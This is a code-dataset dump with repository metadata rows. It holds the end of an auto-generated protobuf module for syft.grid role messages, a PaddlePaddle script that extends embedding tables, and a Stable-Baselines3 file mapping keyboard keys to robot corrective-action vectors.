is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="address",
full_name="syft.grid.messages.UpdateRoleResponse.address",
index=3,
number=4,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
],
extensions=[],
nested_types=[],
enum_types=[],
serialized_options=None,
is_extendable=False,
syntax="proto3",
extension_ranges=[],
oneofs=[],
serialized_start=1477,
serialized_end=1614,
)
_DELETEROLEMESSAGE = _descriptor.Descriptor(
name="DeleteRoleMessage",
full_name="syft.grid.messages.DeleteRoleMessage",
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name="msg_id",
full_name="syft.grid.messages.DeleteRoleMessage.msg_id",
index=0,
number=1,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="address",
full_name="syft.grid.messages.DeleteRoleMessage.address",
index=1,
number=2,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="content",
full_name="syft.grid.messages.DeleteRoleMessage.content",
index=2,
number=3,
type=9,
cpp_type=9,
label=1,
has_default_value=False,
default_value=b"".decode("utf-8"),
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="reply_to",
full_name="syft.grid.messages.DeleteRoleMessage.reply_to",
index=3,
number=4,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
],
extensions=[],
nested_types=[],
enum_types=[],
serialized_options=None,
is_extendable=False,
syntax="proto3",
extension_ranges=[],
oneofs=[],
serialized_start=1617,
serialized_end=1773,
)
_DELETEROLERESPONSE = _descriptor.Descriptor(
name="DeleteRoleResponse",
full_name="syft.grid.messages.DeleteRoleResponse",
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name="msg_id",
full_name="syft.grid.messages.DeleteRoleResponse.msg_id",
index=0,
number=1,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="status_code",
full_name="syft.grid.messages.DeleteRoleResponse.status_code",
index=1,
number=2,
type=5,
cpp_type=1,
label=1,
has_default_value=False,
default_value=0,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="content",
full_name="syft.grid.messages.DeleteRoleResponse.content",
index=2,
number=3,
type=9,
cpp_type=9,
label=1,
has_default_value=False,
default_value=b"".decode("utf-8"),
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="address",
full_name="syft.grid.messages.DeleteRoleResponse.address",
index=3,
number=4,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
],
extensions=[],
nested_types=[],
enum_types=[],
serialized_options=None,
is_extendable=False,
syntax="proto3",
extension_ranges=[],
oneofs=[],
serialized_start=1776,
serialized_end=1913,
)
_CREATEROLEMESSAGE.fields_by_name[
"msg_id"
].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID
_CREATEROLEMESSAGE.fields_by_name[
"address"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_CREATEROLEMESSAGE.fields_by_name[
"reply_to"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_CREATEROLERESPONSE.fields_by_name[
"msg_id"
].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID
_CREATEROLERESPONSE.fields_by_name[
"address"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_GETROLEMESSAGE.fields_by_name[
"msg_id"
].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID
_GETROLEMESSAGE.fields_by_name[
"address"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_GETROLEMESSAGE.fields_by_name[
"reply_to"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_GETROLERESPONSE.fields_by_name[
"msg_id"
].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID
_GETROLERESPONSE.fields_by_name[
"address"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_GETROLESMESSAGE.fields_by_name[
"msg_id"
].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID
_GETROLESMESSAGE.fields_by_name[
"address"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_GETROLESMESSAGE.fields_by_name[
"reply_to"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_GETROLESRESPONSE.fields_by_name[
"msg_id"
].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID
_GETROLESRESPONSE.fields_by_name[
"address"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_SEARCHROLEMESSAGE.fields_by_name[
"msg_id"
].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID
_SEARCHROLEMESSAGE.fields_by_name[
"address"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_SEARCHROLEMESSAGE.fields_by_name[
"reply_to"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_SEARCHROLERESPONSE.fields_by_name[
"msg_id"
].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID
_SEARCHROLERESPONSE.fields_by_name[
"address"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_UPDATEROLEMESSAGE.fields_by_name[
"msg_id"
].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID
_UPDATEROLEMESSAGE.fields_by_name[
"address"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_UPDATEROLEMESSAGE.fields_by_name[
"reply_to"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_UPDATEROLERESPONSE.fields_by_name[
"msg_id"
].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID
_UPDATEROLERESPONSE.fields_by_name[
"address"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_DELETEROLEMESSAGE.fields_by_name[
"msg_id"
].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID
_DELETEROLEMESSAGE.fields_by_name[
"address"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_DELETEROLEMESSAGE.fields_by_name[
"reply_to"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
_DELETEROLERESPONSE.fields_by_name[
"msg_id"
].message_type = proto_dot_core_dot_common_dot_common__object__pb2._UID
_DELETEROLERESPONSE.fields_by_name[
"address"
].message_type = proto_dot_core_dot_io_dot_address__pb2._ADDRESS
DESCRIPTOR.message_types_by_name["CreateRoleMessage"] = _CREATEROLEMESSAGE
DESCRIPTOR.message_types_by_name["CreateRoleResponse"] = _CREATEROLERESPONSE
DESCRIPTOR.message_types_by_name["GetRoleMessage"] = _GETROLEMESSAGE
DESCRIPTOR.message_types_by_name["GetRoleResponse"] = _GETROLERESPONSE
DESCRIPTOR.message_types_by_name["GetRolesMessage"] = _GETROLESMESSAGE
DESCRIPTOR.message_types_by_name["GetRolesResponse"] = _GETROLESRESPONSE
DESCRIPTOR.message_types_by_name["SearchRoleMessage"] = _SEARCHROLEMESSAGE
DESCRIPTOR.message_types_by_name["SearchRoleResponse"] = _SEARCHROLERESPONSE
DESCRIPTOR.message_types_by_name["UpdateRoleMessage"] = _UPDATEROLEMESSAGE
DESCRIPTOR.message_types_by_name["UpdateRoleResponse"] = _UPDATEROLERESPONSE
DESCRIPTOR.message_types_by_name["DeleteRoleMessage"] = _DELETEROLEMESSAGE
DESCRIPTOR.message_types_by_name["DeleteRoleResponse"] = _DELETEROLERESPONSE
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
CreateRoleMessage = _reflection.GeneratedProtocolMessageType(
"CreateRoleMessage",
(_message.Message,),
{
"DESCRIPTOR": _CREATEROLEMESSAGE,
"__module__": "proto.grid.messages.role_messages_pb2"
# @@protoc_insertion_point(class_scope:syft.grid.messages.CreateRoleMessage)
},
)
_sym_db.RegisterMessage(CreateRoleMessage)
CreateRoleResponse = _reflection.GeneratedProtocolMessageType(
"CreateRoleResponse",
(_message.Message,),
{
"DESCRIPTOR": _CREATEROLERESPONSE,
"__module__": "proto.grid.messages.role_messages_pb2"
# @@protoc_insertion_point(class_scope:syft.grid.messages.CreateRoleResponse)
},
)
_sym_db.RegisterMessage(CreateRoleResponse)
GetRoleMessage = _reflection.GeneratedProtocolMessageType(
"GetRoleMessage",
(_message.Message,),
{
"DESCRIPTOR": _GETROLEMESSAGE,
"__module__": "proto.grid.messages.role_messages_pb2"
# @@protoc_insertion_point(class_scope:syft.grid.messages.GetRoleMessage)
},
)
_sym_db.RegisterMessage(GetRoleMessage)
GetRoleResponse = _reflection.GeneratedProtocolMessageType(
"GetRoleResponse",
(_message.Message,),
{
"DESCRIPTOR": _GETROLERESPONSE,
"__module__": "proto.grid.messages.role_messages_pb2"
# @@protoc_insertion_point(class_scope:syft.grid.messages.GetRoleResponse)
},
)
_sym_db.RegisterMessage(GetRoleResponse)
GetRolesMessage = _reflection.GeneratedProtocolMessageType(
"GetRolesMessage",
(_message.Message,),
{
"DESCRIPTOR": _GETROLESMESSAGE,
"__module__": "proto.grid.messages.role_messages_pb2"
# @@protoc_insertion_point(class_scope:syft.grid.messages.GetRolesMessage)
},
)
_sym_db.RegisterMessage(GetRolesMessage)
GetRolesResponse = _reflection.GeneratedProtocolMessageType(
"GetRolesResponse",
(_message.Message,),
{
"DESCRIPTOR": _GETROLESRESPONSE,
"__module__": "proto.grid.messages.role_messages_pb2"
# @@protoc_insertion_point(class_scope:syft.grid.messages.GetRolesResponse)
},
)
_sym_db.RegisterMessage(GetRolesResponse)
SearchRoleMessage = _reflection.GeneratedProtocolMessageType(
"SearchRoleMessage",
(_message.Message,),
{
"DESCRIPTOR": _SEARCHROLEMESSAGE,
"__module__": "proto.grid.messages.role_messages_pb2"
# @@protoc_insertion_point(class_scope:syft.grid.messages.SearchRoleMessage)
},
)
_sym_db.RegisterMessage(SearchRoleMessage)
SearchRoleResponse = _reflection.GeneratedProtocolMessageType(
"SearchRoleResponse",
(_message.Message,),
{
"DESCRIPTOR": _SEARCHROLERESPONSE,
"__module__": "proto.grid.messages.role_messages_pb2"
# @@protoc_insertion_point(class_scope:syft.grid.messages.SearchRoleResponse)
},
)
_sym_db.RegisterMessage(SearchRoleResponse)
UpdateRoleMessage = _reflection.GeneratedProtocolMessageType(
"UpdateRoleMessage",
(_message.Message,),
{
"DESCRIPTOR": _UPDATEROLEMESSAGE,
"__module__": "proto.grid.messages.role_messages_pb2"
# @@protoc_insertion_point(class_scope:syft.grid.messages.UpdateRoleMessage)
},
)
_sym_db.RegisterMessage(UpdateRoleMessage)
UpdateRoleResponse = _reflection.GeneratedProtocolMessageType(
"UpdateRoleResponse",
(_message.Message,),
{
"DESCRIPTOR": _UPDATEROLERESPONSE,
"__module__": "proto.grid.messages.role_messages_pb2"
# @@protoc_insertion_point(class_scope:syft.grid.messages.UpdateRoleResponse)
},
)
_sym_db.RegisterMessage(UpdateRoleResponse)
DeleteRoleMessage = _reflection.GeneratedProtocolMessageType(
"DeleteRoleMessage",
(_message.Message,),
{
"DESCRIPTOR": _DELETEROLEMESSAGE,
"__module__": "proto.grid.messages.role_messages_pb2"
# @@protoc_insertion_point(class_scope:syft.grid.messages.DeleteRoleMessage)
},
)
_sym_db.RegisterMessage(DeleteRoleMessage)
DeleteRoleResponse = _reflection.GeneratedProtocolMessageType(
"DeleteRoleResponse",
(_message.Message,),
{
"DESCRIPTOR": _DELETEROLERESPONSE,
"__module__": "proto.grid.messages.role_messages_pb2"
# @@protoc_insertion_point(class_scope:syft.grid.messages.DeleteRoleResponse)
},
)
_sym_db.RegisterMessage(DeleteRoleResponse)
# @@protoc_insertion_point(module_scope)
| 33.407177
| 3,373
| 0.617762
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| 0.037732
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| 0.835065
| 0.823111
| 0.773303
| 0.77188
| 0.77188
| 0.766259
| 0
| 0.037766
| 0.285062
| 48,407
| 1,448
| 3,374
| 33.430249
| 0.774416
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| 1
| 0.004335
| 0.132165
| 0.098689
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| null | 0
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| 1
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|
0
| 9
|
611bc4b32eaac10d967df72ee0843c3e4d1282c2
| 5,335
|
py
|
Python
|
FT_to_generation/extend_pos.py
|
bm2-lab/X-MOL
|
a64cd4222ab819326767224d91fa8605f52f4fc4
|
[
"Apache-2.0"
] | 19
|
2021-01-27T16:54:24.000Z
|
2022-03-30T02:54:47.000Z
|
FT_to_generation/extend_pos.py
|
bm2-lab/X-MOL
|
a64cd4222ab819326767224d91fa8605f52f4fc4
|
[
"Apache-2.0"
] | 1
|
2022-02-20T08:30:52.000Z
|
2022-02-21T07:40:49.000Z
|
FT_to_generation/extend_pos.py
|
bm2-lab/X-MOL
|
a64cd4222ab819326767224d91fa8605f52f4fc4
|
[
"Apache-2.0"
] | 5
|
2021-09-27T09:45:31.000Z
|
2022-02-21T07:27:47.000Z
|
import os
import numpy as np
import argparse
import paddle.fluid as fluid
import sys
import json
def init_emb(size, dim):
program = fluid.Program()
global_block = program.global_block()
global_block.create_parameter(name="add_emb",
shape=[size, dim],
dtype='float32',
initializer=fluid.initializer.TruncatedNormal(scale=0.02))
place = fluid.core.CPUPlace()
exe = fluid.Executor(place)
exe.run(program)
np_value = np.array(fluid.global_scope().find_var("add_emb").get_tensor())
return np_value
def init_emb_b(size):
program = fluid.Program()
global_block = program.global_block()
global_block.create_parameter(name="add_emb",
shape=[size],
dtype='float32',
initializer=fluid.initializer.TruncatedNormal(scale=0.02))
place = fluid.core.CPUPlace()
exe = fluid.Executor(place)
exe.run(program)
np_value = np.array(fluid.global_scope().find_var("add_emb").get_tensor())
return np_value
def get_emb(path, param_name="pos_embedding", org_dict_size=1, size=None):
from_dir = path
param_name = param_name
program = fluid.Program()
global_block = program.global_block()
global_block.create_parameter(name=param_name,
shape=[org_dict_size, 768],
dtype='float32',
initializer=fluid.initializer.Constant(value=0.00))
place = fluid.core.CPUPlace()
exe = fluid.Executor(place)
exe.run(program)
param_path = os.path.join(from_dir, param_name)
if os.path.exists(param_path):
print('Load param from %s' % param_path)
fluid.io.load_params(exe, from_dir, main_program=program, filename=param_name)
else:
raise IOError("%s doesn't exist" % param_path)
np_value = np.array(fluid.global_scope().find_var(param_name).get_tensor())
if size:
return np_value[:size]
return np_value
def get_emb_b(path, param_name="mask_lm_fc_out.b_0", org_dict_size=1, size=None):
from_dir = path
param_name = param_name
program = fluid.Program()
global_block = program.global_block()
global_block.create_parameter(name=param_name,
shape=[org_dict_size],
dtype='float32',
initializer=fluid.initializer.Constant(value=0.00))
place = fluid.core.CPUPlace()
exe = fluid.Executor(place)
exe.run(program)
param_path = os.path.join(from_dir, param_name)
if os.path.exists(param_path):
print('Load param from %s' % param_path)
fluid.io.load_params(exe, from_dir, main_program=program, filename=param_name)
else:
raise IOError("%s doesn't exist" % param_path)
np_value = np.array(fluid.global_scope().find_var(param_name).get_tensor())
if size:
return np_value[:size]
return np_value
def set_emb(value, path, param_name):
program = fluid.Program()
global_block = program.global_block()
global_block.create_parameter(name=param_name,
shape=[1, 1],
dtype='float32',
initializer=fluid.initializer.Constant(value=0.00))
place = fluid.core.CPUPlace()
exe = fluid.Executor(place)
exe.run(program)
fluid.global_scope().find_var(param_name).get_tensor().set(value, place)
fluid.io.save_params(exe, path, main_program=program, filename=param_name)
print("\nWrite param to %s" % os.path.join(path, param_name))
def extend_pos_emb(config_path, init_path, new_size):
#scope = fluid.core.Scope()
#with fluid.scope_guard(scope):
fin = open(config_path)
config = json.load(fin)
fin.close()
if new_size <= config["max_position_embeddings"]:
return
add_size = new_size - config["max_position_embeddings"]
add_emb = init_emb(add_size, config["hidden_size"])
org_emb = get_emb(init_path)[:config["max_position_embeddings"]]
new_emb = np.concatenate((org_emb, add_emb), axis=0)
set_emb(new_emb, init_path, "pos_embedding")
def extend_word_emb(config_path, init_path):
#scope = fluid.core.Scope()
#with fluid.scope_guard(scope):
fin = open(config_path)
config = json.load(fin)
fin.close()
new_dict_length = config["vocab_size"]
org_dict_length = 112
if new_dict_length <= org_dict_length:
print('wrong dict')
add_size = new_dict_length - org_dict_length
add_emb = init_emb(add_size, config["hidden_size"])
org_emb = get_emb(init_path, param_name="word_embedding", org_dict_size=org_dict_length)[:org_dict_length]
new_emb = np.concatenate((org_emb, add_emb), axis=0)
set_emb(new_emb, init_path, "word_embedding")
def extend_fc_out_b(config_path, init_path):
fin = open(config_path)
config = json.load(fin)
fin.close()
new_dict_length = config["vocab_size"]
org_dict_length = 112
if new_dict_length <= org_dict_length:
print('wrong dict')
add_size = new_dict_length - org_dict_length
add_emb = init_emb_b(add_size)
org_emb = get_emb_b(init_path, param_name="mask_lm_out_fc.b_0", org_dict_size=org_dict_length)[:org_dict_length]
new_emb = np.concatenate((org_emb, add_emb), axis=0)
set_emb(new_emb, init_path, "mask_lm_out_fc.b_0")
#if __name__ == "__main__":
#extend_pos_emb(sys.argv[1], sys.argv[2], int(sys.argv[3]))
| 30.3125
| 116
| 0.681912
| 771
| 5,335
| 4.40856
| 0.136187
| 0.055605
| 0.052957
| 0.030009
| 0.866431
| 0.839365
| 0.797882
| 0.797882
| 0.797882
| 0.785819
| 0
| 0.010979
| 0.197563
| 5,335
| 175
| 117
| 30.485714
| 0.782995
| 0.036739
| 0
| 0.741935
| 0
| 0
| 0.075799
| 0.013445
| 0
| 0
| 0
| 0
| 0
| 1
| 0.064516
| false
| 0
| 0.048387
| 0
| 0.169355
| 0.040323
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b64a9199e5329adebd9761c6c2cf07a7f4f57956
| 3,069
|
py
|
Python
|
stable_baselines3/common/corrective_feedback.py
|
corgiTrax/stable-baselines3
|
95dc5e30ab6a21225da4b718953e83870e4f146b
|
[
"MIT"
] | null | null | null |
stable_baselines3/common/corrective_feedback.py
|
corgiTrax/stable-baselines3
|
95dc5e30ab6a21225da4b718953e83870e4f146b
|
[
"MIT"
] | null | null | null |
stable_baselines3/common/corrective_feedback.py
|
corgiTrax/stable-baselines3
|
95dc5e30ab6a21225da4b718953e83870e4f146b
|
[
"MIT"
] | null | null | null |
from pynput import keyboard, mouse
# Behavior Robot Corrective Action:
# order: torso - x, y, z, roll, pitch, yaw
# head
# left hand
# right hand
# gripper
behavior_robot = {
keyboard.KeyCode.from_char("a"): [
0,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
1,
0,
0,
0,
0,
0,
1,
0,
0,
0,
0,
0,
0,
], # +y
keyboard.KeyCode.from_char("s"): [
-1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
-1,
0,
0,
0,
0,
0,
-1,
0,
0,
0,
0,
0,
0,
0,
], # -x
keyboard.KeyCode.from_char("z"): [
0,
0,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
1,
0,
0,
0,
0,
0,
1,
0,
0,
0,
0,
0,
], # +z
keyboard.KeyCode.from_char("w"): [
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
1,
0,
0,
0,
0,
0,
1,
0,
0,
0,
0,
0,
0,
0,
], # +x
keyboard.KeyCode.from_char("x"): [
0,
0,
-1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
-1,
0,
0,
0,
0,
0,
-1,
0,
0,
0,
0,
0,
], # -z
keyboard.KeyCode.from_char("d"): [
0,
-1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
-1,
0,
0,
0,
0,
0,
-1,
0,
0,
0,
0,
0,
0,
], # -y
}
# Fetch Robot Corrective Action:
# order: torso - x, y, z, roll, pitch, yaw
# head
# left hand
# right hand
# gripper
fetch_robot = {
keyboard.KeyCode.from_char("a"): [
0,
-1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
], # +y
keyboard.KeyCode.from_char("s"): [
-1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
], # -x
keyboard.KeyCode.from_char("z"): [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], # +z
keyboard.KeyCode.from_char("w"): [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], # +x
keyboard.KeyCode.from_char("x"): [0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0], # -z
keyboard.KeyCode.from_char("d"): [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], # -y
}
| 14.077982
| 78
| 0.244053
| 339
| 3,069
| 2.168142
| 0.091445
| 0.451701
| 0.563265
| 0.620408
| 0.92517
| 0.92517
| 0.92517
| 0.92517
| 0.92517
| 0.92517
| 0
| 0.19171
| 0.622678
| 3,069
| 217
| 79
| 14.142857
| 0.443005
| 0.099707
| 0
| 0.935961
| 0
| 0
| 0.004383
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.004926
| 0
| 0.004926
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
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